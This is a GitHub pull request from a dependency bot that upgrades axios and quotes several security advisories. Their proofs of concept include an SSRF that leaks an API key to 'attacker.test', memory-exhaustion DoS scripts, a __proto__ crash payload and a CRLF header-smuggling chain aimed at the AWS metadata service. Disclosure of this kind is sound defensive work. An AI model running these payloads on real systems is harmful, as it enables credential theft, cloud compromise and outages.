Skip to content

- Update dependency axios to v1.15.0 [SECURITY]#182

Open
blumilk-renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-axios-vulnerability
Open

- Update dependency axios to v1.15.0 [SECURITY]#182
blumilk-renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-axios-vulnerability

Conversation

@blumilk-renovate
Copy link
Copy Markdown
Contributor

@blumilk-renovate blumilk-renovate bot commented Sep 12, 2025

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.9.0 -> 1.15.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

CVE-2025-58754

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @&#8203;payload.json -o /dev/null```

Suggestions

  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

CVE-2026-25639

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

  1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
  2. Object.keys() includes '__proto__' in the iteration
  3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
  4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
  5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

  • Axios._request() at lib/core/Axios.js:75
  • Axios.getUri() at lib/core/Axios.js:201
  • All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

  1. Clone axios repository or npm install axios
  2. Create file poc.mjs with the code above
  3. Run: node poc.mjs
  4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test Config Result
Normal config {"timeout": 5000} SUCCESS
Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH
Nested object {"headers": {"X-Test": "value"}} SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

  • Node.js servers using axios for HTTP requests
  • Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

CVE-2026-39865

Summary

Axios HTTP/2 session cleanup logic contains a state corruption bug that allows a malicious server to crash the client process through concurrent session closures. This denial-of-service vulnerability affects axios versions prior to 1.13.2 when HTTP/2 is enabled.

Details

The vulnerability exists in the Http2Sessions.getSession() method in lib/adapters/http.js. The session cleanup logic contains a control flow error when removing sessions from the sessions array.

Vulnerable Code:

while (i--) {
  if (entries[i][0] === session) {
    entries.splice(i, 1);
    if (len === 1) {
      delete this.sessions[authority];
      return;
    }
  }
}

Root Cause:
After calling entries.splice(i, 1) to remove a session, the original code only returned early if len === 1. For arrays with multiple entries, the iteration continued after modifying the array, causing undefined behavior and potential crashes when accessing shifted array indices.

Fixed Code:

while (i--) {
  if (entries[i][0] === session) {
    if (len === 1) {
      delete this.sessions[authority];
    } else {
      entries.splice(i, 1);
    }
    return;
  }
}

The fix restructures the control flow to immediately return after removing a session, regardless of whether the array is being emptied or just having one element removed. This prevents continued iteration over a modified array and eliminates the state corruption vulnerability.

Affected Component:

  • lib/adapters/http.js - Http2Sessions class, session cleanup in connection close handler

PoC

  1. Set up a malicious HTTP/2 server that accepts multiple concurrent connections from an axios client
  2. Establish multiple concurrent HTTP/2 sessions with the axios client
  3. Close all sessions simultaneously with precise timing
  4. The flawed cleanup logic attempts to iterate over and modify the sessions array concurrently
  5. This causes the client to access invalid memory locations, resulting in a process crash

Prerequisites:

  • Client must use axios with HTTP/2 enabled
  • Client must connect to attacker-controlled HTTP/2 server
  • Multiple concurrent HTTP/2 sessions must be established
  • Server must close all sessions simultaneously with precise timing

Impact

Who is impacted:

  • Applications using axios with HTTP/2 enabled
  • Applications connecting to untrusted or attacker-controlled HTTP/2 servers
  • Node.js applications using axios for HTTP/2 requests

Impact Details:

  • Denial of Service: Malicious server can crash the axios client process by accepting and closing multiple concurrent HTTP/2 connections simultaneously
  • Availability Impact: Complete loss of availability for the client process through crash (though service may auto-restart)
  • Scope: Impact is limited to the single client process making the requests; does not escape to affect other components or systems
  • No Confidentiality or Integrity Impact: Vulnerability only causes process crash, no information disclosure or data modification

CVSS Score: 5.9 (Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE Classifications:

  • CWE-400: Uncontrolled Resource Consumption
  • CWE-662: Improper Synchronization

CVE-2025-62718

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.


PoC

import http from "http";
import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => {
  console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
  res.writeHead(200, { "Content-Type": "text/plain" });
  res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";

async function test(url) {
  try {
    await axios.get(url, { timeout: 2000 });
  } catch {}
}

setTimeout(async () => {
  console.log("\n[*] Testing http://localhost.:8080/");
  await test("http://localhost.:8080/"); // goes through proxy

  console.log("\n[*] Testing http://[::1]:8080/");
  await test("http://[::1]:8080/"); // goes through proxy
}, 500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].


Impact

  • Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.

  • Attackers controlling request URLs can:

    • Force Axios to send local traffic through an attacker-controlled proxy.
    • Bypass SSRF mitigations relying on NO_PROXY rules.
    • Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

  • Confirmed on Axios 1.12.2 (latest at time of testing).
  • affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

  • Strip trailing dots from hostnames (per RFC 3986).
  • Normalize IPv6 literals by removing brackets for matching.

CVE-2026-40175

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).

While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.

Severity: Critical (CVSS 9.9)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This vulnerability is unique because it requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
await axios.get('https://analytics.internal/pings'); 

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...

4. The Impact (IMDSv2 Bypass)

The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send).
The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.

Impact Analysis

  • Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens).
  • Authentication Bypass: Can inject headers (Cookie, Authorization) to pivot into internal administrative panels.
  • Cache Poisoning: Can inject Host headers to poison shared caches.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});

References

  • OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.


Axios is vulnerable to DoS attack through lack of data size check

CVE-2025-58754 / GHSA-4hjh-wcwx-xvwj

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC
const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @&#8203;payload.json -o /dev/null```

Suggestions
  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

axios/axios (axios)

v1.15.0

Compare Source

Bug Fixes
Features
  • fomdata: added support for spec-compliant FormData & Blob types; (#​5316) (6ac574e)
Contributors to this release
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459

1.2.6 (2023-01-28)

Bug Fixes
  • headers: added missed Authorization accessor; (#​5502) (342c0ba)
  • types: fixed CommonRequestHeadersList & CommonResponseHeadersList types to be private in commonJS; (#​5503) (5a3d0a3)
Contributors to this release
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459

1.2.5 (2023-01-26)

Bug Fixes
  • types: fixed AxiosHeaders to handle spread syntax by making all methods non-enumerable; (#​5499) (580f1e8)
Contributors to this release
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459

1.2.4 (2023-01-22)

Bug Fixes
Contributors to this release
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459

1.2.3 (2023-01-10)

Bug Fixes
  • types: fixed AxiosRequestConfig header interface by refactoring it to RawAxiosRequestConfig; (#​5420) (0811963)
Contributors to this release
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459

[1.2.2] - 2022-12-29

Fixed
Chores
  • chore(ci): set conventional-changelog header config #​5406
  • chore(ci): fix automatic contributors resolving #​5403
  • chore(ci): improved logging for the contributors list generator #​5398
  • chore(ci): fix release action #​5397
  • chore(ci): fix version bump script by adding bump argument for target version #​5393
  • chore(deps): bump decode-uri-component from 0.2.0 to 0.2.2 #​5342
  • chore(ci): GitHub Actions Release script #​5384
  • chore(ci): release scripts #​5364
Contributors to this release

[1.2.1] - 2022-12-05

Changed
  • feat(exports): export mergeConfig #​5151
Fixed
  • fix(CancelledError): include config #​4922
  • fix(general): removing multiple/trailing/leading whitespace #​5022
  • fix(headers): decompression for responses without Content-Length header #​5306
  • fix(webWorker): exception to sending form data in web worker #​5139
Refactors
  • refactor(types): AxiosProgressEvent.event type to any #​5308
  • refactor(types): add missing types for static AxiosError.from method #​4956
Chores
  • chore(docs): remove README link to non-existent upgrade guide #​5307
  • chore(docs): typo in issue template name #​5159
Contributors to this release
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459

[1.2.0] - 2022-11-10

Changed
  • changed: refactored module exports #​5162
  • change: re-added support for loading Axios with require('axios').default #​5225
Fixed
  • fix: improve AxiosHeaders class #​5224
  • fix: TypeScript type definitions for commonjs #​5196
  • fix: type definition of use method on AxiosInterceptorManager to match the the README #​5071
  • fix: __dirname is not defined in the sandbox #​5269
  • fix: AxiosError.toJSON method to avoid circular references #​5247
  • fix: Z_BUF_ERROR when content-encoding is set but the response body is empty #​5250
Refactors
  • refactor: allowing adapters to be loaded by name #​5277
Chores
  • chore: force CI restart #​5243
  • chore: update ECOSYSTEM.md #​5077
  • chore: update get/index.html #​5116
  • chore: update Sandbox UI/UX #​5205
  • chore:(actions): remove git credentials after checkout #​5235
  • chore(actions): bump actions/dependency-review-action from 2 to 3 #​5266
  • chore(packages): bump loader-utils from 1.4.1 to 1.4.2 #​5295
  • chore(packages): bump engine.io from 6.2.0 to 6.2.1 #​5294
  • chore(packages): bump socket.io-parser from 4.0.4 to 4.0.5 #​5241
  • chore(packages): bump loader-utils from 1.4.0 to 1.4.1 #​5245
  • chore(docs): update Resources links in README #​5119
  • chore(docs): update the link for JSON url #​5265
  • chore(docs): fix broken links #​5218
  • chore(docs): update and rename UPGRADE_GUIDE.md to MIGRATION_GUIDE.md #​5170
  • chore(docs): typo fix line #​856 and #​920 #​5194
  • chore(docs): typo fix #​800 #​5193
  • chore(docs): fix typos #​5184
  • chore(docs): fix punctuation in README.md #​5197
  • chore(docs): update readme in the Handling Errors section - issue reference #​5260 #​5261
  • chore: remove \b from filename #​5207
  • chore(docs): update CHANGELOG.md #​5137
  • chore: add sideEffects false to package.json #​5025
Contributors to this release
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459

[1.1.3] - 2022-10-15

Added
  • Added custom params serializer support #​5113
Fixed
  • Fixed top-level export to keep them in-line with static properties #​5109
  • Stopped including null values to query string. #​5108
  • Restored proxy config backwards compatibility with 0.x #​5097
  • Added back AxiosHeaders in AxiosHeaderValue #​5103
  • Pin CDN install instructions to a specific version #​5060
  • Handling of array values fixed for AxiosHeaders #​5085
Chores
  • docs: match badge style, add link to them #​5046
  • chore: fixing comments typo #​5054
  • chore: update issue template #​5061
  • chore: added progress capturing section to the docs; #​5084
Contributors to this release
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459

[1.1.2] - 2022-10-07

Fixed
  • Fixed broken exports for UMD builds.
Contributors to this release
PRs

⚠️ Critical vulnerability fix. See https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459

[1.1.1] - 2022-10-07

Fixed
